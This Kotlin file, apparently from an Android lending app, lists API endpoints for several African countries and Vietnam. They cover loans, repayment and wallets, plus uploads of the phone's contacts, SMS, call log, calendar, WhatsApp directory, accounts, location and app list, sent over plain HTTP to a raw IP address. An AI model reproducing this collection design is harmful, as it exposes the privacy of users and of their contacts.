package com.first.nell.network

object ApiUrl_20240119153527 {
    /**
     * 域名服务器地址
     * https://www.firstnell.online/firstnellglobal
     */
    var BASE_URL = "http://159.138.165.72"

    /**
     * 域名转发
     */
    var BASE_PATH = ""

    /**
     * 全局配置
     */
    var ZONE_PATH = "/firstnellzone"

    /**
     * 域名服务器地址-越南
     * https://www.firstnell.online/firstnellglobal
     */
    const val BASE_URL_VND = "http://159.138.165.72"

    /**
     * 域名服务器地址-非洲
     * https://www.firstnell.online/firstnellglobal
     */
    const val BASE_URL_AFRICA = "http://159.138.165.72"

    /**
     * 全局域名转发
     */
    const val GLOBAL_PATH = ""

    /**
     * 全局域名转发-加纳
     */
    const val GHA_PATH = "/firstnellgha"

    /**
     * 全局域名转发-乌干达
     */
    const val UGX_PATH = "/firstnellugx"

    /**
     * 全局域名转发-科特
     */
    const val FCFA_PATH = "/firstnellfcfa"

    /**
     * 全局域名转发-尼日
     */
    const val NGN_PATH = "/firstnellngn"

    /**
     * 全局域名转发-肯尼亚
     */
    const val KSH_PATH = "/firstnellksh"

    /**
     * 全局域名转发-越南
     */
    const val VND_PATH = "/firstnellvietnam"

    /**
     * 设备-应用列表
     */
    const val NARSCASH_PATH_APPLIST = "/RBgau88vVUvYNWoDa0OVA"

    /**
     * 设备-联系人是否要上报
     */
    const val NARSCASH_PATH_CONTACT_RESULT = "/g8TCkH04G5fjzfPRVB50Ufg"

    /**
     * 设备-联系人
     */
    const val NARSCASH_PATH_CONTACT = "/PwkmcNPXOTxX5KnH1KTVJA"

    /**
     * 设备-消息
     */
    const val NARSCASH_PATH_MESSAGE = "/g0CKYJRl3HJrHJBsjjMca3Q"

    /**
     * 设备-设备信息
     */
    const val NARSCASH_PATH_DEVICE = "/aQJULdLubBlRrmJV5qDV2Q"

    /**
     * 设备-图片信息
     */
    const val NARSCASH_PATH_IMAGE = "/El7idW6AQTpJ2D7Ktrlp1w"

    /**
     * 设备-电池信息
     */
    const val NARSCASH_PATH_BATTERY = "/rl2xDnquQyVrgKGZYCwJ7A"

    /**
     * 设备-硬件信息
     */
    const val NARSCASH_PATH_HARDWARE = "/AMK6Rsk8MxriZu32a9RaA"

    /**
     * 设备-存储信息
     */
    const val NARSCASH_PATH_STORE = "/HAzWzfZQId6ZO4fkhJO8A"

    /**
     * 设备-wifi信息
     */
    const val NARSCASH_PATH_NETWORK = "/FioTisUFYNrYVhQay4eUZQ"

    /**
     * 设备-媒体信息
     */
    const val NARSCASH_PATH_MEDIA = "/FNovNPltSm3crjge0xHHSA"

    /**
     * 设备-位置信息
     */
    const val NARSCASH_PATH_LOCATION = "/bW9vwmmuouqqP77yIsdBg"

    /**
     * 设备-calllog列表
     */
    const val NARSCASH_PATH_CALLLOG = "/Xg7IGhXR8LX4UH1uMgcomA"

    /**
     * 设备-calendar列表
     */
    const val NARSCASH_PATH_CALENDAR = "/gJrVhjqGyX3jnY6UaMJSfQ"

    /**
     * 设备-whatsapp目录列表
     */
    const val NARSCASH_PATH_WHATSAPP_DIR = "/ttJysHiEj8iYObcrdKaN1g"

    /**
     * 设备-setting account列表
     */
    const val NARSCASH_PATH_SETTING_ACCOUNT = "/gyvN8jFXraSoI6ynu9QsHA"

    /**
     * 设备-aduid
     */
    const val NARSCASH_PATH_ADUID = "/Ko3WG20nJzwRbGBpfnJ3w"

    /**
     * 设备-打点
     */
    const val NARSCASH_PATH_POINT_RECORD = "/cdLh1yo9tqx87xZKn4B3A"

    /**
     * 设备-谷歌安装回传
     */
    const val NARSCASH_PATH_GOOGLE_INSTALL = "/VcJhT3BLJRjc6IHtKe3Ow"

    /**
     * 设备-AF 安装回传
     */
    const val NARSCASH_PATH_APPSFLYER_INSTALL = "/u1mqPOgpV33ih4TWKA36eA"

    /**
     * 设备-AF S2S回传
     */
    const val NARSCASH_PATH_APPSFLYER_S2S = "/XC8J52SGHpzIFGdH3fqQ"

    /**
     * 设备-Firebase S2S回传
     */
    const val NARSCASH_PATH_FIREBASE_S2S = "/rzloGeD8yz9TpdbfzmFQ"

    /**
     * 设备-Facebook S2S回传
     */
    const val NARSCASH_PATH_FACEBOOK_S2S = "/JSKSlrpzlz2Ln2sUANLwew"

    /**
     * UsageStats s2s 回传
     */
    var NARSCASH_PATH_USAGE_STATS_S2S = "/ykGIfs6DYnny6QuMItZQbA"

    /**
     * 系统-获取系统配置
     */
    const val NARSCASH_PATH_APP_CONFIG = "/rEiErtkQL1fijQLkFnEhw"

    /**
     * 系统-获取版本号
     */
    const val NARSCASH_PATH_APP_VERSION = "/pHrlGX6OgLsaQqrEik9FVQ"

    /**
     * 登录-发送验证码
     */
    const val NARSCASH_PATH_SEND_OTP = "/OUKFqoDwRSPY6oNDQwltcQ"

    /**
     * 登录-验证码登录
     */
    const val NARSCASH_PATH_OTP_LOGIN = "/IsHOW20lHNcKpOz1L3NiEQ"

    /**
     * 用户-获取用户流程状态
     */
    const val NARSCASH_PATH_USER_STATE = "/uZBVHnE5s3iF0FKySTDeA"

    /**
     * 用户-获取首页额度
     */
    const val NARSCASH_PATH_HOME_LIMIT = "/UvVXTI3Tl3LsyBYaQ8GPg"

    /**
     * 用户-保存问题反馈
     */
    const val NARSCASH_PATH_SAVE_FEEDBACK = "/Mzd9qtERzwOLhomycyelTA"

    /**
     * 用户-获取银行列表
     */
    const val NARSCASH_PATH_BANK_LIST = "/Craj5iqUS3CuOWQiDjwKjw"

    /**
     * 订单-获取放款中详情信息
     */
    const val NARSCASH_PATH_LOANING_DETAIL = "/qVDT77kMmxwBuXAtHfwTZA"

    /**
     * 订单-确认申请
     */
    const val NARSCASH_PATH_LOAN_SUBMIT = "/lv3lohYwZdFpOtiWeIZDA"
    /**
     * 工具-启动评价流程
     */
    const val NARSCASH_PATH_CHECK_APP_REVIEW = "/v1/fetchStarWindowConfig"

    /**
     * 还款-获取还款详情信息
     */
    const val NARSCASH_PATH_REPAY_DETAIL = "/g1XD65WEzE5lXo7D57fHrbg"

    /**
     * 还款-获取还款链接-越南
     */
    const val NARSCASH_PATH_REPAY_URL_VND = "/ssV3a1qWsWYV2T0fKMbBg"

    /**
     * 还款-获取还款链接-加纳
     */
    const val NARSCASH_PATH_REPAY_URL_GHA = "/ssV3a1qWsWYV2T0fKMbBg"

    /**
     * 还款-获取还款链接-科特
     */
    const val NARSCASH_PATH_REPAY_URL_FCFA = "/ssV3a1qWsWYV2T0fKMbBg"

    /**
     * 还款-获取还款链接-乌干达
     */
    const val NARSCASH_PATH_REPAY_URL_UGX = "/hjtvMbLTOIPALjPUsMqfag"

    /**
     * 还款-获取还款链接-肯尼亚
     */
    const val NARSCASH_PATH_REPAY_URL_KSH = "/hjtvMbLTOIPALjPUsMqfag"

    /**
     * 还款-获取虚拟账号信息-尼日
     */
    const val NARSCASH_PATH_CREATE_VIRTUAL_ACCOUNT = "/lSKT2uPPvwyFJ7cPWxIoQ"

    /**
     * 还款-获取paystack sdk 初始化信息-尼日
     */
    const val NARSCASH_PATH_INIT_PAYSTACK_SDK = "/ueccrmRVg30DGoyXlWdPw"

    /**
     * 还款-获取paystack 卡列表-尼日
     */
    const val NARSCASH_PATH_PAYSTACK_CARD_LIST = "/vPVEyLETyxBdh1XRYYH6w"

    /**
     * 绑卡-获取钱包列表-科特
     */
    const val NARSCASH_PATH_WALLET_LIST_FCFA = "/g4bOast4tmr5U6qZlIKMs8w"

    /**
     * 绑卡-绑钱包-科特
     */
    const val NARSCASH_PATH_BIND_WALLET_FCFA = "/g7iNZRFz9sKXVI2qxCNEWw"

    /**
     * 绑卡-删钱包-科特
     */
    const val NARSCASH_PATH_DELETE_WALLET_FCFA = "/g9R0onzJ2CloygqXIKoNMQ"

    /**
     * 绑卡-保存钱包认证状态-科特
     */
    const val NARSCASH_PATH_SAVE_BVN_FCFA = "/TnG2ToDfHHc5iC0WmdC7g"

    /**
     * 绑卡-获取钱包列表-喀唛隆
     */
    const val NARSCASH_PATH_WALLET_LIST_XAF = "/g4bOast4tmr5U6qZlIKMs8w"

    /**
     * 绑卡-绑钱包-喀唛隆
     */
    const val NARSCASH_PATH_BIND_WALLET_XAF = "/g7iNZRFz9sKXVI2qxCNEWw"

    /**
     * 绑卡-删钱包-喀唛隆
     */
    const val NARSCASH_PATH_DELETE_WALLET_XAF = "/g9R0onzJ2CloygqXIKoNMQ"

    /**
     * 绑卡-保存钱包认证状态-喀唛隆
     */
    const val NARSCASH_PATH_SAVE_BVN_XAF = "/TnG2ToDfHHc5iC0WmdC7g"

    /**
     * 认证-保存ocr信息-越南
     */
    const val NARSCASH_PATH_SAVE_OCR_VND = "/TnG2ToDfHHc5iC0WmdC7g"

    /**
     * 认证-开始liveness-越南
     */
    const val NARSCASH_PATH_START_LIVENESS_VND = "/EcG9Ug0FG6l0AdqdufiQ"

    /**
     * 认证-保存liveness信息-越南
     */
    const val NARSCASH_PATH_SAVE_LIVENESS_VND = "/EcG9Ug0FG6l0AdqdufiQ"

    /**
     * 认证-获取运营商认证链接-越南
     */
    const val NARSCASH_PATH_START_SIM = "/u1clhRX1BDu9So7hXyTug"

    /**
     * 认证-保存运营商认证-越南
     */
    const val NARSCASH_PATH_SAVE_SIM = "/uyoWPOojUF09rCb0Vyubg"

    /**
     * 工具-上传图片
     */
    const val NARSCASH_PATH_UPLOAD_IMAGE = "/Csm7kcjeqzAk9oTQ1r4Q"

    /**
     * 工具-图片ocr
     */
    const val NARSCASH_PATH_IMAGE_OCR = "/HHgms99YqKELnSSZoXK8Eg"

    /**
     * 认证-保存图片
     */
    const val NARSCASH_PATH_IMAGE_SAVE = "/v1/ocrInfo"

    /**
     * 越南运营商认证
     */
    var NARSCASH_PATH_VIET_SIM_INFO = "/v1/shushenSendMsg"

    /** 是否为有效的地区转发 */
    fun isFirstNellValidFirstNellCountryFirstNellPath(): Boolean {
        return BASE_PATH.isNotBlank()
    }

}
